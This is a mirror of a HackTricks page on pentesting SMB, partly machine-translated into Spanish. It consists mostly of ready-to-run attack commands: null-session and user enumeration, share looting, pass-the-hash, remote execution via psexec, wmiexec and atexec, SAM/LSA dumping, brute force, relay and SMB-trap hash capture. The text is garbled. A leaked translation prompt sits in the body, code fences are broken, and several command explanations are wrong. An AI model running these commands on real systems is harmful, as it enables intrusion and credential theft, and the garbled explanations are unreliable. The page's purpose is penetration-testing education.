mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
692 lines
33 KiB
Markdown
692 lines
33 KiB
Markdown
# 139,445 - Pentesting SMB
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
## **Puerto 139**
|
|
|
|
**NetBIOS** significa _Network Basic Input Output System_. Es un protocolo de software que permite que las aplicaciones, PC y escritorios en una red de área local (LAN) se comuniquen con el hardware de red y transmitan datos a través de la red. Las aplicaciones de software que se ejecutan en una red NetBIOS localizan e identifican entre sí a través de sus nombres NetBIOS. Un nombre NetBIOS tiene hasta 16 caracteres de longitud y generalmente es diferente al nombre de la computadora. Dos aplicaciones inician una sesión NetBIOS cuando una (el cliente) envía un comando para "llamar" a otro cliente (el servidor) a través del **Puerto TCP 139**. (extraído de [aquí](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
|
```
|
|
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
|
```
|
|
## Puerto 445
|
|
|
|
Mientras que el puerto 139 se conoce técnicamente como 'NBT sobre IP', el puerto 445 es 'SMB sobre IP'. **SMB** significa '**Server Message Blocks**' (Bloques de Mensajes del Servidor). El Bloque de Mensajes del Servidor en el lenguaje moderno también se conoce como **Sistema de Archivos de Internet Común**. El sistema funciona como un protocolo de red de capa de aplicación utilizado principalmente para ofrecer acceso compartido a archivos, impresoras, puertos seriales y otros tipos de comunicaciones entre nodos en una red.
|
|
|
|
Por ejemplo, en Windows, SMB puede ejecutarse directamente sobre TCP/IP sin necesidad de NetBIOS sobre TCP/IP. Esto utilizará, como mencionaste, el puerto 445. En otros sistemas, encontrarás servicios y aplicaciones que utilizan el puerto 139. Esto significa que SMB se está ejecutando con NetBIOS sobre TCP/IP (extraído de [aquí](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for))
|
|
```
|
|
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
|
```
|
|
### SMB
|
|
|
|
El Protocolo de Bloque de Mensajes del Servidor (`SMB`) es un protocolo **cliente-servidor** que regula el **acceso a archivos** y directorios completos, así como a otros recursos de red como impresoras, enrutadores o interfaces liberadas para la red. El área de aplicación principal del protocolo ha sido la serie de sistemas operativos **Windows**, cuyos servicios de red admiten SMB de manera compatible hacia abajo, lo que significa que los dispositivos con ediciones más nuevas pueden comunicarse fácilmente con dispositivos que tienen instalado un sistema operativo Microsoft más antiguo.\
|
|
Con el proyecto de software libre **Samba**, también existe una solución que permite el uso de **SMB en distribuciones Linux** y Unix y, por lo tanto, la comunicación multiplataforma a través de SMB.
|
|
|
|
Un servidor SMB puede proporcionar **partes arbitrarias de su sistema de archivos local como comparticiones**. Por lo tanto, la **jerarquía visible** para un cliente es parcialmente **independiente** de la **estructura** en el **servidor**. Los **derechos de acceso** se definen mediante `Listas de Control de Acceso` (`ACL`). Se pueden controlar de manera **detallada** en función de atributos como **`ejecutar`**, **`leer`** y **`acceso completo`** para usuarios individuales o grupos de usuarios. Las **ACL** se definen **en función de las comparticiones** y, por lo tanto, no corresponden a los derechos asignados localmente en el servidor.
|
|
|
|
### Compartir IPC$
|
|
|
|
Del libro _**Network Security Assessment 3rd edition**_
|
|
|
|
Con una sesión nula anónima, puede acceder a la compartición IPC$ e interactuar con los servicios expuestos a través de named pipes. La utilidad enum4linux dentro de Kali Linux es particularmente útil; con ella, puede obtener lo siguiente:
|
|
|
|
* Información del sistema operativo
|
|
* Detalles del dominio principal
|
|
* Una lista de usuarios y grupos locales
|
|
* Detalles de las comparticiones SMB disponibles
|
|
* La política de seguridad del sistema efectiva
|
|
|
|
## ¿Qué es NTLM?
|
|
|
|
Si no sabe qué es NTLM o desea saber cómo funciona y cómo abusar de él, encontrará muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puede aprovecharlo**:
|
|
|
|
{% content-ref url="../windows-hardening/ntlm/" %}
|
|
[ntlm](../windows-hardening/ntlm/)
|
|
{% endcontent-ref %}
|
|
|
|
## **Enumeración del servidor**
|
|
|
|
### **Escanear** una red en busca de hosts:
|
|
```bash
|
|
nbtscan -r 192.168.0.1/24
|
|
```
|
|
### Versión del servidor SMB
|
|
|
|
Para buscar posibles vulnerabilidades en la versión de SMB, es importante saber qué versión se está utilizando. Si esta información no aparece en otras herramientas utilizadas, puedes:
|
|
|
|
* Utilizar el módulo auxiliar **MSF** \_**auxiliary/scanner/smb/smb\_version**
|
|
* O utilizar este script:
|
|
```bash
|
|
#!/bin/sh
|
|
#Author: rewardone
|
|
#Description:
|
|
# Requires root or enough permissions to use tcpdump
|
|
# Will listen for the first 7 packets of a null login
|
|
# and grab the SMB Version
|
|
#Notes:
|
|
# Will sometimes not capture or will print multiple
|
|
# lines. May need to run a second time for success.
|
|
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
|
|
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
|
|
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
|
|
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
|
echo "" && sleep .1
|
|
```
|
|
### **Buscar exploit**
|
|
```bash
|
|
msf> search type:exploit platform:windows target:2008 smb
|
|
searchsploit microsoft smb
|
|
```
|
|
### **Posibles** Credenciales
|
|
|
|
| **Nombre de usuario(s)** | **Contraseñas comunes** |
|
|
| ----------------------- | ----------------------------------------- |
|
|
| _(en blanco)_ | _(en blanco)_ |
|
|
| invitado | _(en blanco)_ |
|
|
| Administrador, admin | _(en blanco)_, contraseña, administrador, admin |
|
|
| arcserve | arcserve, backup |
|
|
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
|
| backupexec, backup | backupexec, backup, arcada |
|
|
| test, lab, demo | contraseña, test, lab, demo |
|
|
|
|
### Información del entorno SMB
|
|
|
|
### Obtener información
|
|
```bash
|
|
#Dump interesting information
|
|
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
|
|
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
|
|
nmap --script "safe or smb-enum-*" -p 445 <IP>
|
|
|
|
#Connect to the rpc
|
|
rpcclient -U "" -N <IP> #No creds
|
|
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
|
|
rpcclient -U "username%passwd" <IP> #With creds
|
|
#You can use querydispinfo and enumdomusers to query user information
|
|
|
|
#Dump user information
|
|
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
|
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
|
|
|
#Map possible RPC endpoints
|
|
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
|
|
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
|
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
|
```
|
|
### Enumerar Usuarios, Grupos y Usuarios Conectados
|
|
|
|
|
|
# Esta información ya debería haber sido recopilada con enum4linux y enum4linux-ng
|
|
```bash
|
|
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
|
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
|
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
|
|
|
|
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
|
|
|
|
rpcclient -U "" -N 10.10.10.10
|
|
enumdomusers
|
|
enumdomgroups
|
|
```
|
|
### Enumerar usuarios locales
|
|
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
|
|
```bash
|
|
lookupsid.py -no-pass hostname.local
|
|
```
|
|
El siguiente contenido es de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo network-services-pentesting/pentesting-smb.md. Traduzca el texto relevante al español y devuelva la traducción manteniendo exactamente la misma sintaxis de markdown y html. No traduzca cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco agregue nada aparte de la traducción y la sintaxis de markdown.
|
|
```bash
|
|
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
|
```
|
|
### Metasploit - Enumerar usuarios locales
|
|
```bash
|
|
use auxiliary/scanner/smb/smb_lookupsid
|
|
set rhosts nombre_equipo.local
|
|
run
|
|
```
|
|
|
|
### **Enumerating LSARPC and SAMR rpcclient**
|
|
|
|
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
|
|
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
|
|
{% endcontent-ref %}
|
|
|
|
### GUI connection from linux
|
|
|
|
#### In the terminal:
|
|
|
|
`xdg-open smb://cascade.htb/`
|
|
|
|
#### In file browser window (nautilus, thunar, etc)
|
|
|
|
`smb://friendzone.htb/general/`
|
|
|
|
## Shared Folders Enumeration
|
|
|
|
### List shared folders
|
|
|
|
It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**.
|
|
|
|
```bash
|
|
```markdown
|
|
`smbclient --no-pass -L //<IP>` # Usuario nulo
|
|
`smbclient -U 'nombre_de_usuario[%contraseña]' -L [--pw-nt-hash] //<IP>` # Si omites la contraseña, se te pedirá. Con --pw-nt-hash, la contraseña proporcionada es el hash NT
|
|
|
|
`smbmap -H <IP> [-P <PUERTO>]` # Usuario nulo
|
|
`smbmap -u "nombre_de_usuario" -p "contraseña" -H <IP> [-P <PUERTO>]` # Credenciales
|
|
`smbmap -u "nombre_de_usuario" -p "<NT>:<LM>" -H <IP> [-P <PUERTO>]` # Pass-the-Hash
|
|
`smbmap -R -u "nombre_de_usuario" -p "contraseña" -H <IP> [-P <PUERTO>]` # Lista recursiva
|
|
|
|
`crackmapexec smb <IP> -u '' -p '' --shares` # Usuario nulo
|
|
`crackmapexec smb <IP> -u 'nombre_de_usuario' -p 'contraseña' --shares` # Usuario invitado
|
|
`crackmapexec smb <IP> -u 'nombre_de_usuario' -H '<HASH>' --shares` # Usuario invitado
|
|
```
|
|
```
|
|
|
|
### **Connect/List a shared folder**
|
|
|
|
```bash
|
|
#Conectar usando smbclient
|
|
smbclient --no-pass //<IP>/<Carpeta>
|
|
smbclient -U 'nombre_de_usuario[%contraseña]' -L [--pw-nt-hash] //<IP> #Si omites la contraseña, se te pedirá. Con --pw-nt-hash, la contraseña proporcionada es el hash NT
|
|
#Usa --no-pass -c 'recurse;ls' para listar de forma recursiva con smbclient
|
|
|
|
#Listar con smbmap, sin especificar carpeta lista todo
|
|
smbmap [-u "nombre_de_usuario" -p "contraseña"] -R [Carpeta] -H <IP> [-P <PUERTO>] # Lista recursiva
|
|
smbmap [-u "nombre_de_usuario" -p "contraseña"] -r [Carpeta] -H <IP> [-P <PUERTO>] # Lista no recursiva
|
|
smbmap -u "nombre_de_usuario" -p "<NT>:<LM>" [-r/-R] [Carpeta] -H <IP> [-P <PUERTO>] # Pass-the-Hash
|
|
```
|
|
|
|
### **Manually enumerate windows shares and connect to them**
|
|
|
|
It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT\_STATUS\_ACCESS\_DENIED and NT\_STATUS\_BAD\_NETWORK\_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
|
|
|
|
Common share names for windows targets are
|
|
|
|
* C$
|
|
* D$
|
|
* ADMIN$
|
|
* IPC$
|
|
* PRINT$
|
|
* FAX$
|
|
* SYSVOL
|
|
* NETLOGON
|
|
|
|
(Common share names from _**Network Security Assessment 3rd edition**_)
|
|
|
|
You can try to connect to them by using the following command
|
|
|
|
```bash
|
|
```markdown
|
|
`smbclient -U '%' -N \\\\<IP>\\<SHARE>` # sesión nula para conectarse a un recurso compartido de Windows
|
|
`smbclient -U '<USER>' \\\\<IP>\\<SHARE>` # sesión autenticada para conectarse a un recurso compartido de Windows (se le solicitará una contraseña)
|
|
```
|
|
```
|
|
|
|
or this script (using a null session)
|
|
|
|
```bash
|
|
#/bin/bash
|
|
|
|
ip='<TARGET-IP-HERE>'
|
|
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
|
|
|
|
for share in ${shares[*]}; do
|
|
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
|
|
|
|
if [[ -z $output ]]; then
|
|
echo "[+] es posible crear una sesión nula para $share" # no hay salida si el comando se ejecuta correctamente, por lo tanto se asume que se creó una sesión
|
|
else
|
|
echo $output # muestra el mensaje de error (por ejemplo, NT_STATUS_ACCESS_DENIED o NT_STATUS_BAD_NETWORK_NAME)
|
|
fi
|
|
done
|
|
```
|
|
|
|
examples
|
|
|
|
```bash
|
|
```markdown
|
|
## Pentesting SMB
|
|
|
|
### smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
|
|
|
Este comando intenta acceder al recurso compartido de red `im_clearly_not_here` en la dirección IP `192.168.0.24` utilizando el usuario anónimo (`%`) y sin contraseña (`-N`). Si el recurso compartido de red no existe, se devuelve el error `NT_STATUS_BAD_NETWORK_NAME`.
|
|
|
|
### smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
|
|
|
Este comando intenta acceder al recurso compartido de red `ADMIN$` en la dirección IP `192.168.0.24` utilizando el usuario anónimo (`%`) y sin contraseña (`-N`). Si se deniega el acceso al recurso compartido de red, se devuelve el error `NT_STATUS_ACCESS_DENIED`. En algunos casos, es posible que se obtenga una sesión en el sistema objetivo.
|
|
```
|
|
```
|
|
|
|
### Mount a shared folder
|
|
|
|
```bash
|
|
```bash
|
|
mount -t cifs //x.x.x.x/share /mnt/share
|
|
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
|
```
|
|
|
|
El comando `mount` se utiliza para montar un recurso compartido de red en un directorio local en sistemas operativos basados en Unix. En este caso, se está utilizando el tipo de sistema de archivos `cifs` para montar un recurso compartido SMB (Server Message Block) en el directorio `/mnt/share`.
|
|
|
|
En el primer comando, se monta el recurso compartido SMB ubicado en la dirección IP `x.x.x.x` y con el nombre `share` en el directorio `/mnt/share`.
|
|
|
|
En el segundo comando, se utiliza la opción `-o` para especificar el nombre de usuario y la contraseña necesarios para acceder al recurso compartido SMB. En este ejemplo, el nombre de usuario es `user` y la contraseña es `password`. Luego, se monta el recurso compartido SMB en el directorio `/mnt/share`.
|
|
```
|
|
|
|
### **Download files**
|
|
|
|
Read previous sections to learn how to connect with credentials/Pass-the-Hash.
|
|
|
|
```bash
|
|
#Buscar un archivo y descargarlo
|
|
sudo smbmap -R Carpeta -H <IP> -A <NombreDeArchivo> -q # Buscar el archivo en modo recursivo y descargarlo dentro de /usr/share/smbmap
|
|
```
|
|
|
|
```bash
|
|
# Descargar todo
|
|
smbclient //<IP>/<compartir>
|
|
> mask ""
|
|
> recurse
|
|
> prompt
|
|
> mget *
|
|
# Descargar todo en el directorio actual
|
|
```
|
|
|
|
Commands:
|
|
|
|
* mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
|
|
* recurse: toggles recursion on (default: off)
|
|
* prompt: toggles prompting for filenames off (default: on)
|
|
* mget: copies all files matching the mask from host to client machine
|
|
|
|
(_Information from the manpage of smbclient_)
|
|
|
|
### Domain Shared Folders Search
|
|
|
|
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
|
|
|
|
```bash
|
|
```bash
|
|
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
|
```
|
|
|
|
El comando anterior ejecuta el archivo `Snaffler.exe` con las siguientes opciones:
|
|
|
|
- `-s`: Realiza un escaneo de los servicios SMB en la red.
|
|
- `-d domain.local`: Especifica el dominio objetivo como `domain.local`.
|
|
- `-o snaffler.log`: Guarda los resultados del escaneo en el archivo `snaffler.log`.
|
|
- `-v data`: Muestra información detallada durante el escaneo.
|
|
```
|
|
|
|
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
|
|
* `-M spider_plus [--share <share_name>]`
|
|
* `--pattern txt`
|
|
|
|
```bash
|
|
```bash
|
|
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
|
```
|
|
|
|
El comando anterior utiliza la herramienta `crackmapexec` para realizar un ataque de fuerza bruta en el servicio SMB en la dirección IP `10.10.10.10`. Se especifica el nombre de usuario `-u` como "username" y la contraseña `-p` como "pass". El módulo `-M` utilizado es "spider_plus" y se apunta al recurso compartido `Department Shares`.
|
|
```
|
|
|
|
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
|
|
|
|
{% hint style="info" %}
|
|
The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
|
|
You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
|
|
{% endhint %}
|
|
|
|
## Read Registry
|
|
|
|
You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
|
|
|
|
```bash
|
|
```
|
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
|
```
|
|
|
|
```
|
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 consulta -keyName HKU -s
|
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 consulta -keyName HKCU -s
|
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 consulta -keyName HKLM -s
|
|
```
|
|
```
|
|
|
|
## Post Exploitation
|
|
|
|
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
|
|
|
|
| **Setting** | **Description** |
|
|
| --------------------------- | ------------------------------------------------------------------- |
|
|
| `browseable = yes` | Allow listing available shares in the current share? |
|
|
| `read only = no` | Forbid the creation and modification of files? |
|
|
| `writable = yes` | Allow users to create and modify files? |
|
|
| `guest ok = yes` | Allow connecting to the service without using a password? |
|
|
| `enable privileges = yes` | Honor privileges assigned to specific SID? |
|
|
| `create mask = 0777` | What permissions must be assigned to the newly created files? |
|
|
| `directory mask = 0777` | What permissions must be assigned to the newly created directories? |
|
|
| `logon script = script.sh` | What script needs to be executed on the user's login? |
|
|
| `magic script = script.sh` | Which script should be executed when the script gets closed? |
|
|
| `magic output = script.out` | Where the output of the magic script needs to be stored? |
|
|
|
|
The command `smbstatus` gives information about the **server** and about **who is connected**.
|
|
|
|
## Authenticate using Kerberos
|
|
|
|
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
|
|
|
|
```bash
|
|
# Pentesting SMB
|
|
|
|
## SMB Client
|
|
|
|
The `smbclient` command is used to interact with SMB (Server Message Block) services. It allows you to connect to SMB shares and perform various operations such as listing files, uploading and downloading files, and executing commands on remote systems.
|
|
|
|
To authenticate using Kerberos, you can use the `--kerberos` option followed by the target SMB server address and the share name. For example:
|
|
|
|
```bash
|
|
smbclient --kerberos //ws01win10.domain.com/C$
|
|
```
|
|
|
|
This command will connect to the `C$` share on the `ws01win10.domain.com` server using Kerberos authentication.
|
|
|
|
## RPC Client
|
|
|
|
The `rpcclient` command is used to interact with RPC (Remote Procedure Call) services. It allows you to execute RPC commands on remote systems.
|
|
|
|
To authenticate using Kerberos, you can use the `-k` option followed by the target RPC server address. For example:
|
|
|
|
```bash
|
|
rpcclient -k ws01win10.domain.com
|
|
```
|
|
|
|
This command will connect to the `ws01win10.domain.com` server using Kerberos authentication.
|
|
```
|
|
|
|
## **Execute Commands**
|
|
|
|
### **crackmapexec**
|
|
|
|
crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`:
|
|
|
|
```bash
|
|
```markdown
|
|
Instala crackmapexec con el siguiente comando:
|
|
|
|
```
|
|
apt-get install crackmapexec
|
|
```
|
|
|
|
Ejecuta Powershell con el siguiente comando:
|
|
|
|
```
|
|
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable'
|
|
```
|
|
|
|
Ejecuta cmd con el siguiente comando:
|
|
|
|
```
|
|
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami
|
|
```
|
|
|
|
Realiza Pass-the-Hash con el siguiente comando:
|
|
|
|
```
|
|
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami
|
|
```
|
|
|
|
Usa el parámetro --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
|
|
|
```
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam
|
|
```
|
|
|
|
Obtén el volcado de SAM con el siguiente comando:
|
|
|
|
```
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa
|
|
```
|
|
|
|
Obtén las sesiones con el siguiente comando:
|
|
|
|
```
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions
|
|
```
|
|
|
|
Obtén los usuarios que han iniciado sesión con el siguiente comando:
|
|
|
|
```
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users
|
|
```
|
|
|
|
Enumera los discos con el siguiente comando:
|
|
|
|
```
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks
|
|
```
|
|
|
|
Enumera los usuarios con el siguiente comando:
|
|
|
|
```
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users
|
|
```
|
|
|
|
Enumera los grupos con el siguiente comando:
|
|
|
|
```
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups
|
|
```
|
|
|
|
Enumera los grupos locales con el siguiente comando:
|
|
|
|
```
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups
|
|
```
|
|
|
|
Obtén la política de contraseñas con el siguiente comando:
|
|
|
|
```
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol
|
|
```
|
|
|
|
Realiza un ataque de fuerza bruta de RID con el siguiente comando:
|
|
|
|
```
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute
|
|
```
|
|
|
|
Realiza Pass-The-Hash con el siguiente comando:
|
|
|
|
```
|
|
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH>
|
|
```
|
|
```
|
|
```
|
|
|
|
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
|
|
|
Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\
|
|
**More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
|
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
|
|
|
```bash
|
|
#Si no se proporciona una contraseña, se solicitará
|
|
./psexec.py [[dominio/]nombreDeUsuario[:contraseña]@]<nombreDeDestino o dirección>
|
|
./psexec.py -hashes <LM:NT> administrador@10.10.10.103 #Pass-the-Hash
|
|
psexec \\192.168.122.66 -u Administrador -p 123456Ww
|
|
psexec \\192.168.122.66 -u Administrador -p q23q34t34twd3w34t34wtw34t # Usar pass the hash
|
|
```
|
|
|
|
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
|
|
|
|
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
|
|
|
|
Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.**\
|
|
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
|
|
|
```bash
|
|
#Si no se proporciona una contraseña, se solicitará
|
|
./wmiexec.py [[dominio/]nombreDeUsuario[:contraseña]@]<nombreDeDestino o dirección> #Solicitar contraseña
|
|
./wmiexec.py -hashes LM:NT administrador@10.10.10.103 #Pass-the-Hash
|
|
#Puedes agregar al final del comando un comando CMD que se ejecutará, si no lo haces, se solicitará un shell semi-interactivo
|
|
```
|
|
|
|
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
|
|
|
|
```bash
|
|
#Si no se proporciona una contraseña, se solicitará
|
|
./dcomexec.py [[dominio/]nombreDeUsuario[:contraseña]@]<nombreDeDestino o dirección>
|
|
./dcomexec.py -hashes <LM:NT> administrador@10.10.10.103 #Pass-the-Hash
|
|
#Puedes agregar al final del comando un comando CMD que se ejecutará, si no lo haces, se solicitará un shell semi-interactivo
|
|
```
|
|
|
|
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
|
|
|
Execute commands via the Task Scheduler (using _\pipe\atsvc_ via SMB).\
|
|
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
|
|
|
|
```bash
|
|
```
|
|
./atexec.py [[dominio/]nombreDeUsuario[:contraseña]@]<nombreDeDestino o dirección> "comando"
|
|
./atexec.py -hashes <LM:NT> administrador@10.10.10.175 "whoami"
|
|
```
|
|
```
|
|
|
|
## Impacket reference
|
|
|
|
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
|
|
|
## **Bruteforce users credentials**
|
|
|
|
**This is not recommended, you could block an account if you exceed the maximum allowed tries**
|
|
|
|
```bash
|
|
```markdown
|
|
Ejecuta el comando `nmap --script smb-brute -p 445 <IP>` para realizar un ataque de fuerza bruta en el servicio SMB en el puerto 445.
|
|
|
|
Utiliza el script `ridenum.py <IP> 500 50000 /root/passwds.txt` para obtener los nombres de usuario mediante un ataque de fuerza bruta en los RID y luego intenta realizar un ataque de fuerza bruta para cada nombre de usuario.
|
|
```
|
|
```
|
|
|
|
## SMB relay attack
|
|
|
|
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
|
|
[**More information about this attack here.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
|
|
|
## SMB-Trap
|
|
|
|
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
|
|
|
|
This happens with the functions:
|
|
|
|
* URLDownloadToFile
|
|
* URLDownloadToCache
|
|
* URLOpenStream
|
|
* URLOpenBlockingStream
|
|
|
|
Which are used by some browsers and tools (like Skype)
|
|
|
|
